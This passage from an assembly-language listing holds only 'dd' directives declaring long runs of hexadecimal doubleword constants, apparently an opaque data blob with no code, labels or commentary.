5600247Ch, 42FE3C44h, 6C849h, 0F861B01Dh dd 0B4B5B2A6h, 0E909D001h, 0D17B4A35h, 7DFC7E8h, 88131F59h dd 147180DDh, 4A009417h, 8C2A2E2Dh, 0A0492839h, 2CDA2CD0h dd 0CB3018h, 15A5854Ah, 5F000922h, 251336E8h, 114DA63h dd 4AEFF98Ch, 748F9F6Eh, 2CB02237h, 644B1100h, 50C00E09h dd 43B907FCh, 0E6A29EB3h, 0C011C48h, 3FE8F404h, 0B6F8F017h dd 0E9860009h, 1F976F7Fh, 3B788999h, 3F2770C0h, 0A0FC65DBh dd 66EB692h, 39A66A7Fh, 0B200B272h, 38379976h, 1AED12h dd 0BFDE09F6h, 4FC5A32h, 777D15Ch, 841EE9C8h, 38BBCA50h dd 44F6489Ah, 48913F00h, 0C82A0435h, 1DEE343Eh, 0EAC0A133h dd 0FEB45B7Ch, 0C9F0030Bh, 5570B2FBh, 0C6B985E0h, 0DC541217h dd 21AB9600h, 0A25914h, 20901FF6h, 0ACCAD885h, 0C4E1A000h dd 0D7941AEAh, 0C9011F10h, 0FBD95EE4h, 61B8EB03h, 2CF304B5h dd 0C68B39DAh, 85FF2A0Eh, 0C0B008B2h, 15B7DDDAh, 34658713h dd 80062C07h, 0EAC0EB44h, 7AF2138h, 0C4AE23CBh, 803EB5A4h dd 0D743D67Ah, 0A746D263h, 0C71C08Ah, 0CB020101h, 0FA2A5E0Eh dd 0F4ECDD14h, 0C27E48B7h, 9555DE09h, 7838005Fh, 49800Bh dd 3CC685ECh, 4C7F19A4h, 10620300h, 500C91D2h, 0E2140013h dd 578922D7h, 43001D5Eh, 0BCF45452h, 3F617433h, 4A1F19CAh dd 58120050h, 0C2440827h, 0D4422300h, 488F47BCh, 63F106D2h dd 3085F0D1h, 1D587012h, 838BDC1Fh, 0B03002C4h, 9F91E09Ch dd 1FE0C6h, 81895153h, 3D83C931h, 41E50C00h, 617D04C0h dd 8A4E0017h, 0D76EE086h, 89055036h, 0FAC38303h, 0F6F9FDC0h dd 0EB710075h, 0F2F8AFFh, 510712C8h, 5A887AF0h, 0FA802710h dd 43B4A056h, 363300F4h, 0C84006E0h, 0D10072C0h, 0E3DD24AAh dd 0C65363h, 0C9169418h, 0E06EFDECh, 0FEB82000h, 9134697h dd 7048008Ah, 0D3C95D8Dh, 0A200ABE1h, 0A8CE29B6h, 5C0C40E6h dd 1C07FA49h, 0C0845B02h, 58760434h, 482DE80Eh, 0C1F0E041h dd 9205E6h, 53E2EF39h, 33FB5D40h, 0E945BA00h, 96EB9421h dd 0DE175C34h, 0E4C61Fh, 0F224A101h, 2008020h, 1E3CE2E6h dd 77C7A0Bh, 3221D4D6h, 38526649h, 0D33F903h, 5870F842h dd 0E3002E12h, 32AC50DEh, 0DD0082E0h, 0AF3E7A5h, 2EFB30h dd 0DE71BC4Dh, 486877B5h, 41B810F6h, 64565A0Eh, 8D0776A2h dd 0F1709A0Ah, 32F922h, 4774348Dh, 91384AA0h, 8ED41400h dd 4168F328h, 0D6E2E3h, 30F250E8h, 0FB0A87FAh, 359C2300h dd 18324811h, 148E17EAh, 0E1ED0EF1h, 0FC72E98Ch, 0D71CC812h dd 79FFC200h, 128F98Dh, 1F2CB21Ah, 206B3064h, 91007FF3h dd 3C23BF38h, 404356h, 798D44ECh, 4CF20F48h, 50E43701h dd 5554C86Ah, 0C6BEF02Fh, 7F58411Eh, 0ABFA0C47h, 0C85CF6C1h dd 32A4C8h, 0F4EAF8ADh, 60E5BE6Ah, 2B00DFB8h, 52F095F6h dd 7F64CAC2h, 0FCF40736h, 93BEF949h, 0F0C82E68h, 6C4C115Dh dd 4C702624h, 78B21B00h, 906F1Fh, 24B412EBh, 0F39454AEh dd 6A64FF00h, 0F64B2D84h, 43621FB6h, 0FAF94F88h, 0E68F72A9h dd 1AA6FCA6h, 1DD89058h, 740023BAh, 9CA89846h, 0A051008Fh dd 17A4A21Ah, 1100E84Bh, 0D45E4CE9h, 5067F2h, 0BF86A835h dd 5157BA9h, 0DFAF6B1Ch, 0E801EA80h, 0CD3A1h, 85AC3B48h dd 0D7FC0BA4h, 44C66F00h, 0D4DA2372h, 0E5B00090h, 0C5B5F1CBh dd 410156EFh, 539C6ACh, 94DDA37Dh, 1B26D8h, 354EEE5h, 50E902E6h dd 4255700h, 0BB8ECB9h, 0AA210048h, 0B2D56D10h, 620035BCh dd 0C039D4C2h, 0F8FBF10Fh, 8FC4001Ch, 86E92658h, 4A90C843h dd 0CCEA4279h, 8E887500h, 1AD059D6h, 32E361B1h, 21F887D4h dd 0D847F817h, 4307AC73h, 0DEDC21EAh, 64599230h, 0C43A13E0h dd 0E4D101AFh, 0D8F25B8Dh, 0EB0BD13Bh, 80B10FEDh, 8FEC1C1Bh dd 0D2680059h, 0F10EF019h, 0B035AB3h, 9474F421h, 0CF8F883h dd 0C11000D6h, 2BEFCA62h, 0A53F35FCh, 0ACE8117h, 47E93101h dd 58B5DBDCh, 757DCA29h, 1D087DBBh, 665DFF4Ah, 88D70BE3h dd 64002709h, 1823EA14h, 1C435400h, 0D38D20F8h, 886A008Ch dd 2C11F528h, 300021AAh, 0E83446FCh, 98518D38h, 40A20E03h dd 6A274435h, 12B4E024h, 7300E946h, 0BD504176h, 84F70Dh dd 0B7545822h, 2C37AB5Eh, 0C481B117h, 0CF39200h, 1C8F897h dd 8B1C98FFh, 608A05D4h, 3F70B92Eh, 8803317Eh, 0DD080B54h dd 0EA75A0C1h, 0D4D100FCh, 244832CDh, 727D55CEh, 15FF1F00h dd 0F8415708h, 0A4D300E2h, 893E52D4h, 0E4000EE3h, 582F9CFCh dd 135C106h, 3104703Ah, 80169D50h, 89B23E6Ah, 0F2535A48h dd 44201D21h, 0E1E04h, 118201E1h, 8800A20Fh, 0C0DE8EE0h dd 899D5Bh, 594F5ADCh, 0C2E468ACh, 5D411900h, 58118065h dd 76BA4CA6h, 883CB73Ch, 3D73007Eh, 2F3E9E8h, 570776A3h dd 35D66A7h, 0C7167E10h, 2F040705h, 0D9F89813h, 91B605DFh dd 0B0EB6183h, 908816h, 0C3139C59h, 108D23FDh, 281D2F00h dd 0D99794FAh, 816201DCh, 46889C04h, 0C7A4CF5Ch, 0A0D5057h dd 35004CB8h, 3B55F17Eh, 48A0A3h, 0FD5825D1h, 0B257D027h dd 80105D3Dh, 0A1AC457Eh, 78E9A805h, 0BB8ECFFh, 7CF1A22Ah dd 0DF3C6E0Fh, 0FC4200F8h, 3A0CBD4Fh, 0D0B90300h, 3BAC558Ch dd 0F4730006h, 160CDFFh, 2B008670h, 16F60CE8h, 0ED75F0h dd 72E0C17Fh, 8D1C6015h, 0E886C307h, 0CED0F5ABh, 0ECF6C65Fh dd 473003Bh, 1176DB85h, 8D00BBC3h, 1A741EBDh, 0F5D46CFh dd 571604E4h, 0FB7585h, 5FE7989Ah, 190195E5h, 0AAB07A1Eh dd 59F01F42h, 7F3D007Bh, 1472680h, 7600885Bh, 0B005581Dh dd 0DF99Fh, 5432559Eh, 0A567A998h, 68385A00h, 96A28B1Dh dd 0FE500F77h, 0CE73B32h, 0D32990ECh, 3F010D2Eh, 715CE8F8h dd 37C89D5Eh, 66DD0069h, 0F5EA4CE4h, 0F11CFB72h, 588F9648h dd 0A50E0012h dd 7050945h, 0F36E1055h, 23D6C0F7h, 0B21CADF2h, 34804B58h dd 7C0C10Eh, 0FFC31CAAh, 0C2814E04h, 706790E0h, 0C900F8E6h dd 6056F138h, 588639B5h, 210FED55h, 0E22A3B1Bh, 32013FDEh dd 57F371F2h, 0CE39F82Ch, 7500C1EEh, 973B011h, 3C810C5Dh dd 598355C3h, 0F03993F1h, 3FF94AC0h, 9D7FDEECh, 0D958161Dh dd 95051083h, 6F298851h, 4140571h, 834A88AAh, 0A2D0F760h dd 550F0918h, 7974312h, 0A8F11C10h, 0B8FC943Ch, 3220EF20h dd 2411C034h, 2D445582h, 0C401A578h, 25AA1228h, 20E02E26h dd 1F70C82Ch, 8130700Ch, 348917h, 0F04B1089h, 25380788h dd 0F14A0954h, 413C415Ch, 0FC520283h, 50104E1h, 0F2FAC87Fh dd 58D153A9h, 4184D0F3h, 0F31AC418h, 10F908F1h, 7E2C2009h dd 3FB81ECh, 5E1E80Eh, 0E64200FFh, 93F8E864h, 627FADC3h dd 0AA131418h, 0A8DE921Eh, 0B05F2883h, 28AD70Bh, 0D0FE0BAFh dd 7F105481h, 1621C4C9h, 248514C6h, 0C1252A40h, 2A45B884h dd 0A93BAE4h, 0B3FC170Ch, 6C8246AAh, 10EAC40h, 0E9210534h dd 0E08CA2B3h, 2F150888h, 329B9DF9h, 24965D1Ch, 8F0830h dd 0FE4D0BC9h, 0F21E4187h, 0F340F133h, 11046942h, 263AC020h dd 0F0E4297Ch, 0B63A106h, 3EDEB027h, 4A3A6E71h, 0A3712ACCh dd 66781FC8h, 0A18E3B36h, 13CD1757h, 0E2FE712Eh, 241F52C3h dd 4AC72B4Fh, 4476AFBAh, 0C728E60Eh, 0E19539E8h, 8F1D85A4h dd 0EA692DB8h, 230FA2C2h, 0CD1C64Ah, 68183FD5h, 0D89A873h dd 6390FEB4h, 0AD01E2E3h, 5F3010F0h, 81F6E230h, 60F12F3Ch dd 170873EBh, 0A580E0F8h, 0FED400C5h, 0CB93D524h, 5E00280Bh dd 64259F1h, 1EBF1C20h, 806CCAC4h, 0A1F36231h, 67370A5Bh dd 36F7627Fh, 508EA5AFh, 410FE0C2h, 88FC1428h, 0FCD4F2B4h dd 0F228028Dh, 0E615595Fh, 95A893C0h, 830C3ECBh, 0F84A9D99h dd 0F0528F1h, 789225FEh, 12E004ECh, 98BC873Fh, 7B8AB4B8h dd 6310FCAFh, 5770403Ch, 8F1888F1h, 0C42B65E0h, 5A0C34C4h dd 0E890E164h, 4E897F0Fh, 0B719F25Eh, 8124348h, 24483804h dd 41002D10h, 0CB06015Eh, 0A90004A3h, 56E0084Eh, 0E2DCBD0Ch dd 0C8C900E9h, 461CFE49h, 507E8460h, 272A3Bh, 81792C7Ch dd 0B078384Bh, 0AC880369h, 0D6BD8664h, 31CA63F8h, 0E2241700h dd 0EF19F003h, 75A82616h, 8C0E0087h, 4001C5A6h, 0CC90130Ch dd 756A0E0h, 0A94C99ADh, 700CB07Dh, 3B00788Ah, 18721403h dd 75AEF2h, 6A5751B1h, 0DF4FCCA0h, 58F12E14h, 0E3FD00BFh dd 33F889E8h, 8A0200EBh, 0C4FEE45Eh, 0F31CEAAAh, 0C8009614h dd 0A101B2D8h, 0BE610058h, 1A03E824h, 0FB7E85C3h, 21716D00h dd 224D410Dh, 0E91003CDh, 0E4D3DD12h, 0CF9E18D8h, 7F0F2800h dd 4572938h, 520A1C17h, 876808h, 4DE5507Bh, 0EB854511h dd 2B88C107h, 82305415h, 8B0586h, 67AA7D08h, 0D7870E8h dd 45A83Bh, 0B91A5F33h, 77E2F48Ah, 0E971D0h, 0BDD19055h dd 0CFA92F1Dh, 3D805207h, 156033D6h, 0EFAD530h, 7A49A0E1h dd 0B18091A9h, 0FC4D12AAh, 0F4BDC604h, 0CF80797Ch, 503CC4DAh dd 1DD7E20Eh, 29E0F6h, 0CBD2D576h, 0FFC43E1h, 62AFD300h dd 0D87553F8h, 0E81900FEh, 5B30FDBFh, 0B009E37Eh, 0FFF089h dd 963FF404h, 0DD7000FEh, 9D32B9C6h, 4600B3D6h, 0F01B22F1h dd 71931BBh, 6D7AD07Ch, 6028D792h, 0F4369A52h, 56F20300h dd 0FE4766A0h, 834B0080h, 94F8FB5Eh, 5C00E94Eh, 410ED5F0h dd 3BC6BE85h, 0D880DC87h, 8C3268F9h, 0C00AA99h, 0D0A5869h dd 0C4543Ch, 0C83B0983h, 4F1A775h, 24509507h, 7B1EBAEh dd 98DBCB52h, 0F98AAAEDh, 1029F8h, 2DA412EEh, 75113B0Fh dd 40CB0E00h, 60236B43h, 90DF685h, 0AF7415FFh, 0D7D0FE80h dd 0EEF208C0h, 5CB76B17h, 79125F00h, 6517E8h, 1EA19C50h dd 4FC38A11h, 71583Ch, 0B5416DE4h, 4A03F9h, 0EA14CA28h dd 381AE92Dh, 0E6AB9A50h, 2AB00C00h, 3D372476h, 0E57084h dd 358B7774h, 3138067h, 0D7C6600h, 8D63EB0Ah, 98704Eh dd 0CEE98309h, 328EAD0h, 0B5121D00h, 0FD049B61h, 0BD420FC6h dd 88207FF9h, 87F03F46h, 0B7250F00h, 3C3A7CD9h, 1F8379BAh dd 49027403h, 8FD7012Fh, 269F4057h, 0E24C58C9h, 7C1013Bh dd 1C8D1F77h, 74CBD402h, 90FA180Eh, 8B0AA0E2h, 7621D50h dd 0EB191401h, 298FA008h, 2009258h, 0BA753F4Fh, 851E0Eh dd 0FF97CBDBh, 2A903D99h, 9B10041Eh, 0B14A003Fh, 12490801h dd 0D0770BF4h, 9A8A9276h, 50E39CFh, 0A1C0CC15h, 48B06CFCh dd 5689BD00h, 0A4670C86h, 5C78399Dh, 0CAEC7E80h, 6CBF8DCFh dd 0C4A8B914h, 2EA11DFCh, 200C4DCEh, 0F9D3FED6h, 7B21D47h dd 40E282D8h, 0D860C75Fh, 0D0016BBh, 538509FBh, 2B2A06h dd 21FC9D23h, 0C1A613A9h, 0CA2DB601h, 339125A7h, 0C383C0h dd 0B9754E0Ch, 0AF54F3B0h, 0DE2E92CEh, 0A142000h, 6DACE8h dd 46D67C6Ah, 5C6384Eh, 8A0E900h, 0A785268Ch, 0A5530098h dd 24484F84h, 4400CD59h, 3EEDC515h, 0B22083h, 6B8DB97h dd 0E3F66860h, 0EE6A7000h, 0FD11617Bh, 515A0005h, 20FF9340h dd 25007FEBh, 0E91F8667h, 16002F6h, 0BAEEEDFDh, 0F399AA43h dd 266672A0h, 391DA100h, 50786AEBh, 0B51B005Ah, 657A4686h dd 800F274h, 2264C914h, 1DECE830h, 9FD25069h, 38E9403Ah dd 0E4906DFCh, 0CF2AC801h, 71BECCAh, 4537880h, 12105C6Eh dd 601A881Eh, 196A2381h, 0E07E1FD3h, 0C503688Bh, 13A3C75Bh dd 0E03DEB58h, 9F7459Bh, 6461E2FFh, 1C635800h, 58EEB821h dd 5F987B00h, 9A29AE26h, 0FE9700D5h, 0C090C9B4h, 9D781507h dd 59538800h, 65582321h, 1FE83E09h, 0C6B093h, 0A84955AAh dd 727CDDC2h, 35759802h, 601B2405h, 4B2AEEh, 228844FDh dd 750D531Ch, 1003A1E4h, 143C3027h, 0BEBD0C7h, 321516DAh dd 8FAB1E1Ah, 978FF7h, 9F535255h, 2F024735h, 94098834h dd 3268C005h, 4C740036h, 0DC0C3B9Dh, 0BA7B4F77h, 92A3F100h dd 0C606A42Ch, 0DBD812BEh, 3BAF0089h, 99CEFC53h, 1000C175h dd 9869B8DEh, 0F602779Eh, 0A16100C8h, 4236CF8h, 0BEB0E2D8h dd 7800317Ah, 4606EB4Dh, 93AAA7h, 2A6A9C10h, 35FF190Ch dd 5859E41Fh, 9800EFDDh, 0D7109586h, 0C4500EBEh, 0A840B925h dd 0A62493D9h, 728A300h, 44F5E8A1h, 1A972DDh, 0A86DBE6Bh dd 0ECAD61F0h, 0E190B4A4h, 25393505h, 9B035A78h, 0F040D955h dd 0C7084h, 0C8C04A83h, 48B90815h, 944B6900h, 6183025h dd 91400D8h, 6A351078h, 0C12C4D05h, 0B200DBC8h, 13830FB9h dd 918B00EAh, 4915AB0Dh, 730014E5h, 0A1679EBCh, 76D68CEh dd 0B8287503h, 0F7AEC00Ch, 0A00577Eh, 0A1532010h, 2B6970h dd 6EE056BDh, 8D874114h, 8E2D8300h, 9DE21C3Ch, 45600396h dd 0A4365C24h, 0C825A5F8h, 0D5E238F0h, 28918703h, 1D15DCA2h dd 410DA10Ah, 422C230Eh, 10E3EF14h, 316CCDB0h, 9A015B00h dd 4479D541h, 0AC58B75Eh, 42540E0Eh, 636F006Ch, 704F6Bh dd 79617265h, 0DC28E974h, 3CBE4E00h, 3BCDA5Ah, 1D27213h dd 6EBA8993h, 0E84EF8E8h, 8B3DAF28h, 5FC6821Fh, 0E07DA8B2h dd 1F54B531h, 9E9BE4BAh, 0DD4D808Ah, 586E5769h, 93099417h dd 3FC68E00h, 7B1204h, 0AED25F08h, 67099B9h, 80A71ACEh dd 0C88C2A6Bh, 95C7011Eh, 3C6DA25Ch, 0F0D6E19Eh, 1500FCE7h dd 0C1ACA14Bh, 1EFF1AB9h dd 0C03B1009h, 74F12380h, 9600C613h, 49067528h, 210EB25h dd 0F6E08BE2h, 0D4C10308h, 0D9B2201Bh, 2A172DF6h, 3E0B70EDh dd 0BB078016h, 78E36D21h, 7CEC0090h, 45B49330h, 38032CC1h dd 0C8108D34h, 0F90B18ACh, 17E016F2h, 144853Bh, 94DEBF35h dd 41E82E82h, 0DFD2001Fh, 7D1F065h, 1A1D01C5h, 80BA23E0h dd 8110FC8Fh, 7B14118h, 1F0F6D3Ch, 0E2638388h, 0E07F107Fh dd 0F374B300h, 2FFB414Fh, 6C938D4h, 7501195Ch, 900E646Eh dd 9AF540C3h, 0F1015D03h, 0A0F4173Ch, 0F3FC5F5Bh, 25FF39ABh dd 6103C500h, 101C68C3h, 1F7F4349h, 0D2030A3Dh, 0F0FE9C56h dd 1395E480h, 162D7AF4h, 74FCB7h, 0E1014AA6h, 1411967h dd 96C1C40Ah, 86CC8137h, 218C1C1Ah, 16880E1Ch, 0CDE0587Fh dd 0C7FD7285h, 6A925000h, 0BFACFAEh, 411A0020h, 0D259CFFh dd 0BA00084Dh, 0B67E2234h, 0EF4A45h, 3C683061h, 0A4B1340h dd 8F910100h, 91A27C2h, 0D5BA00FFh, 6FE5DB55h, 673C7F87h dd 3C4500A9h, 85237727h, 8420003Ah, 3ECDE3AAh, 6E00BE69h dd 24271355h, 0F90CC864h, 1938FCh, 0FF6A0A07h, 80E39ABBh dd 0C3534B02h, 40C8C481h, 0C7B84Dh, 1658E51Dh, 8A306C68h dd 6575AC01h, 20C0608h, 509630h, 0E2B0D1C3h, 7A77A8A1h dd 8331E900h, 2A742678h, 0FD0D014Dh, 2ABF750h, 0C01ADCBAh dd 0C491000h, 0BA21DFAh, 0A3C100DDh, 12135315h, 7D1F42D3h dd 684040F4h, 0FFCBDE54h, 2E8F0098h, 8087BCC3h, 11DEB0Ch dd 67808386h, 0A302FBB8h, 72E8FE1Ah, 3CDD2C17h, 11BB038Eh dd 0C90E319h, 0D003F30Bh, 0FA20CE13h, 7DF09104h, 311BF0h dd 0C852C3C0h, 12ECCB3Fh, 20CD0200h, 0E9183C58h, 9414007Eh dd 78FB3121h, 6700684Ah, 0E802A07Ch, 56632Dh, 8D0989A2h dd 68512470h, 1182E90Eh, 8650C3EBh, 0A9E4F86Ah, 3810053h dd 2AF8D906h, 0D700C760h, 0AEB108B9h, 5028BEBFh, 0CAE7A5h dd 6AA20312h, 693A957Dh, 0ECBBDE26h, 0C72CEA07h, 2AEBC030h dd 7D717A25h, 79DF0061h, 0A9777202h, 0CE00EA54h, 42D7E1AAh dd 3371BB5h, 4720B488h, 0C0D0C8BAh, 0B0B01814h, 16218E00h dd 9555C2CCh, 41E0015h, 0B2355BD6h, 9B00D9BBh, 89CBBC7Ah dd 140F754h, 0D62CC32Fh, 20A1F1ECh, 38011864h, 5877AE4Bh dd 6E2688h, 152084F4h, 5F80741h, 2CBE9800h, 0D6AFBA40h dd 897E2Fh, 545E52C8h, 0D2E7B712h, 98C73301h, 0F3558DB1h dd 299D6C8h, 36C695Dh, 0DE400AEBh, 7307111Dh, 0DE5609BFh dd 0F3458A00h, 74C81CFEh, 1601FE0Ah, 28EB2280h, 0E16F70C6h dd 3AF60126h, 88F43201h, 18FCF563h, 8721007Ch, 0DC200894h dd 56015104h, 0FCDFC053h, 0CAC0E983h, 0F8760397h, 0C909DB31h dd 78397480h, 3CAC3700h, 1B1848E8h, 427D0681h, 36F40475h dd 44115200h, 8BE7EB49h, 80300006h, 0D745A7Dh, 1600038Ah dd 75F5553Ah, 0FEE0EBEDh, 18C002C1h, 89D82901h, 5CDE05Dh dd 0FECB7E75h, 0C4F8000Ah, 95595E5Bh, 7100AC74h, 32311004h dd 98F6970Dh, 9ED51D71h, 0FF29E40h, 6A4027CFh, 89FA755h dd 92037500h, 0B8401F1h, 2B820080h, 0D7FA57E3h, 490089EEh dd 5D11A80Dh, 5CBC1Dh, 62102242h, 1668841Ch, 0F6F311Dh dd 0CD43BEC7h, 2A96FDA0h, 65AC3B04h, 11B0FB8Ah, 7F326ABh dd 406808F1h, 21C443F4h, 0D091CA00h, 2651D788h, 1C7AFEh dd 14509765h, 0DB6B5C66h, 0D93DDD01h, 0EB557E96h, 1FF020D4h dd 8012C8F4h, 0E60AFFA7h, 0E5A00982h, 6302CE5Fh, 22AA044Bh dd 242BE0C9h, 7CC00F0h, 2A7F9058h, 9C030E8Dh, 781E6123h dd 2184A860h, 1F1D0066h, 7388E16Ch, 0C200E410h, 0A98F93Dh dd 366B080h, 27F07D8Ch, 9FC8FB03h, 0D3002BD6h, 0BD3AB252h dd 0B05FF2h, 0FE5B2034h, 0A2441E9Dh, 7B598D00h, 4C1F213Fh dd 60EC4850h, 2BCE8700h, 0FD7B5CBh, 0A5180D00h, 15250453h dd 358E0385h, 71898608h, 20E8FCCBh, 4300B8D2h, 2DE0516Dh dd 700798h, 0CFE89F0Fh, 1812891Bh, 8A5B5800h, 0AB473628h dd 349D2665h, 54810062h, 4655F40Fh, 85F51F07h, 5A8021E3h dd 0E60081Eh, 67111843h, 0CFB6C441h, 61248F38h, 2C8C40A4h dd 5E773Fh, 0F430C89Bh, 7E8923F3h, 71F25000h, 0C5448FC6h dd 19CB0032h, 85D818D1h, 0D00E2708h, 0E0996670h, 5C91547h dd 0CFC0065h, 28C510B1h, 0F1012046h, 2D082527h, 33F01F42h dd 3AC40319h, 1E897212h, 77B2C8D8h, 0BAC70400h, 0A7A4F8E2h dd 4013023Eh, 0D715508h, 0F01158C0h, 588DC400h, 57D262A2h dd 0D40950E3h, 68E80Eh, 0A7CF9510h, 4386CEE8h, 0DA23D41Eh dd 30A1E1C2h, 228055D1h, 161EA89Ah, 6AEC6902h, 80A067FBh dd 3BE21DF7h, 4BC00049h, 0E4D63784h, 5D3D0747h, 0F80F1F0Ch dd 2F77BC3h, 226C07B9h, 60B8D1EEh, 1E7592A0h, 0DC98AB00h dd 995C15E8h, 141F0079h, 64E36FFh, 0D600A7C3h, 0AB5E558Fh dd 3276BB4h, 49CF35A1h, 93D87841h, 2D008519h, 0E2C5A51Fh dd 7A89F034h, 77C0000Bh, 7464118Fh, 0DA1F9435h, 0C9E4D961h dd 0A0EE200Fh, 21AFE0A8h, 0AEE2098Dh, 0F3891026h, 1ABA7800h dd 137DC188h, 0BD90D2F6h, 509B4F07h, 605169FEh, 53304634h dd 312E0040h, 90922DF3h, 0D04ABF80h, 3F1383FCh, 805A1E0Fh dd 5742FF9h, 5C000A0Bh, 0FB870275h, 0E03AD542h, 85EC00DEh dd 40374F6h, 100468Dh, 0B2EEC35Eh, 0E6AAD2CCh, 587A0716h dd 0D0B07023h, 125113E8h, 342EB91Dh, 3F378900h, 77DCFDh dd 0F5681A9Fh, 0F865779h, 0E5DA8500h, 4B34F769h, 0DA226173h dd 0FAD51798h, 1E3BC940h, 52247500h, 51F05792h, 0C133004Ah dd 1F5DFAE2h, 3C007B86h, 783B7C41h, 0D15C03h, 1304F81Ch dd 869645EEh, 5B5F8500h, 904A225Ah, 0A4680023h, 33D37B61h dd 6A0F52D2h, 20197AA9h, 0E075B34Eh, 0C2BC1668h, 0EC58002Fh dd 50DB93A2h, 59128F07h, 0FC20F43Ah, 1295A4FAh, 13A669h dd 0EBC72363h, 814C245h, 0F68624h, 476BD59Dh, 2B450BBh dd 6535B9F8h, 0E0F51381h, 0E03BAD5h, 0B5EEF2ABh, 83808D4Fh dd 52454B02h, 4C984E00h, 2E3A3233h, 0D3F60344h, 3C8ABA1Ch dd 65685480h, 726F2002h, 7D690F64h, 0A21037E0h, 0A02F320Fh dd 3F75CF63h, 12B9ECDFh, 0B100F474h, 615BB044h, 6FDF00F3h dd 0F7DD4E1Eh, 79079663h, 6C6D7C5Eh, 6B202E70h, 620B07C7h dd 0F74CEE72h, 4F1B307Dh, 0CE714441h, 0E7E90607h, 1AF062B5h dd 706498h, 8286D972h, 147CDB75h, 746E330Fh, 78FEA05Dh dd 6989F1h, 0D232AB8h, 508B01C3h, 51062005h, 0A2C05240h dd 7550254h, 570F5604h, 0F36A70E7h, 0AA076805h, 9B114303h dd 2474A1F0h, 300707E1h, 10FB3501h, 2320A12h, 0FB51300h dd 0A1CC067Ch, 45892C25h, 9B2200A4h, 0A924834Ah, 0C2D22B00h dd 0C50C5E57h, 33A005F0h, 8318B6B8h, 0F9E8697Eh, 78E4BA42h dd 0B02C7C00h, 49144F17h, 0A9C61C5Bh, 0B6E100F2h, 0FD438D33h dd 380C9D00h, 0CEAC5399h, 0E8C507C8h, 10FC8F2Fh, 93184540h dd 2CD54D00h, 634E0869h, 1290A001h, 31EF0003h, 0BB8F9F7Ah dd 807DDE43h, 75772601h, 0A3B19BEh, 0C48D0h, 748B33ABh dd 8262B46h, 16C10401h, 0D8D96306h, 37C9FF8h, 0C3D2D7F1h dd 0EBE992CCh, 6C047003h, 0B84F4A01h, 17AFB121h, 0B083ECh dd 0A21B8825h, 9197E64h, 555CDAFCh, 0F42B2659h, 11F00305h dd 5789EEC0h, 871A1E29h dd 7A34C168h, 70076A13h, 53CC069h, 4BC38028h, 0E6958DC7h dd 4474D0h, 0DC971416h, 0E9FD4923h, 6F1CDC98h, 4840C645h dd 18D7C0EEh, 6985008Dh, 2B762DFFh, 1002338h, 2486EB3h dd 87A1F6h, 44840F5Ah, 7F74F822h, 0E798501Eh, 5E8AC700h dd 0DAEC06h, 5D694633h, 49CB8BB1h, 0D82B3700h, 0A166AA7h dd 875203B9h, 24D3E588h, 9EC2ECC8h, 0BB5D400h, 4280562Ch dd 0CB3703E8h, 4473AA92h, 89172ED0h, 7E0B3C00h, 0CA68B83h dd 40A00DBh, 53377529h, 1D00C99Eh, 0C451AB4Dh, 0EA025648h dd 0FF55008Ah, 40B854BEh, 36008B28h, 5D1D523Eh, 154B9Eh dd 291C864h, 0F143BB8h, 2965D201h, 106A1D19h, 89F409E1h dd 338A0380h, 783040Bh, 0D839AF98h, 5C702A00h, 0BA16CAE8h dd 9E2302EFh, 2B9D7826h, 60A30EC1h, 1F00A9CBh, 3818B062h dd 0F487D6FFh, 54A0013Eh, 0A26EED12h, 0AA42E0DDh, 0D91A9C00h dd 0EA77E9C7h, 0C5E000EBh, 0B6852806h, 0DAE65022h, 48004474h dd 59A2CB88h, 0EE5C05E7h, 1B743E62h, 0BB9BB380h, 55199925h dd 0B5FDA00h, 21E66EEFh, 0B8295E38h, 3B950060h, 0BA61643Fh dd 4E5D0089h, 5C448832h, 70071045h, 30AEE480h, 58BA05C0h dd 0D4560006h, 19658555h, 0F4009838h, 8EAD5F8Ah, 0B66F12h dd 0E60DCACEh, 0C6F669B4h, 0D0608B0Fh, 9DAD279Eh, 894A0700h dd 4F0300C7h, 83D4D73Dh, 0D800F87Dh, 13C931F3h, 3AFE8749h dd 0C0F10A5h, 3E080ACh, 0A17DD74h, 8075063Fh, 4C4F51Eh dd 87EFEBh, 0C78D25B2h, 2246CE7h, 6742C00h, 410E049Fh dd 0F2EA1FEBh, 0CE0100F8h, 87156BE8h, 0FF5B8D16h, 9C7200FBh dd 70D29118h, 0C41B2800h, 75212D6Fh, 7B081D27h, 82118743h dd 0D8D1D01Ah, 42001038h, 70BFA0A2h, 0F5D2F8Ch, 208AD5E4h dd 7CA309E0h, 0EB004D22h, 5A82543Ch, 1FD06EC3h, 0B5C6E8h dd 675CCDE5h, 84383518h, 475963Bh, 680C0500h, 658A48h dd 45E0C34Bh, 6E99A2C8h, 155FD200h, 60043E47h, 53242E68h dd 0B8F407DDh, 0ECFD50C2h, 61004910h, 0CBC35837h, 0F1CE55Eh dd 72653344h, 403235C7h, 0E868073Ch, 7D5BB60Fh, 2BB80054h dd 114127Ah, 8AAB0122h, 0CCF8A49Ch, 0BD0065B5h, 908C79ECh dd 668915h, 6521911h, 54532CFAh, 326B0D01h, 451BE83h, 0F8D570h dd 0D5FBA455h, 0B42617AAh, 0D3409F1Fh, 2B0098A8h, 46C5CA4Eh dd 919E4AFh, 1D6975Fh, 9DB1B880h, 0AE003431h, 0F4074D3Fh dd 7E72E9EAh, 0EEEAFAh, 0E82DAB7Ch, 973876F2h, 80AAFE07h dd 12A7C1C2h, 1E08457h, 23723Fh, 8E4448EFh, 828C8703h dd 0F6E28100h, 0D3C29E28h, 49FA16C7h, 9BCB001Eh, 5F3A2A4Ch dd 6B007FF4h, 4F56EC8h, 3F8A996h, 3CCAD3E1h, 20D23422h dd 7369F0C0h, 674AB400h, 6D7D61E6h, 2B8F9h, 54656218h dd 0D44B116Eh, 9FB12B01h, 75F479FDh, 67F1A8EFh, 1C4C00B7h dd 0DE76217Ch, 0EB00A50Ch, 0DC669B42h, 71FF7BAh, 325E977Dh dd 63F320CFh, 791C5386h, 0C6526D65h, 54491500h, 0EA277Eh dd 0F24F764Eh, 7843F44Ch, 0CDF74503h, 9346F544h, 0DFB7B852h dd 0DD54004Eh, 0BE55420Eh, 21F2953Eh, 8C532800h, 3A656D1Dh dd 67610099h, 6CF17796h, 2C1771C6h, 110EB83Eh, 0E5E280DBh dd 73A728h, 611F9FAFh, 1456FAE3h, 524E4003h, 0D0DD4745h dd 0F8FDE67Bh, 0DCF5630Ch, 0E8802C65h, 587871A8h, 0FF260600h dd 0C842C025h, 8C5E161Eh, 167003Fh, 500B2B10h, 0BCEDEB01h dd 4B1EE70h, 7E6856D8h, 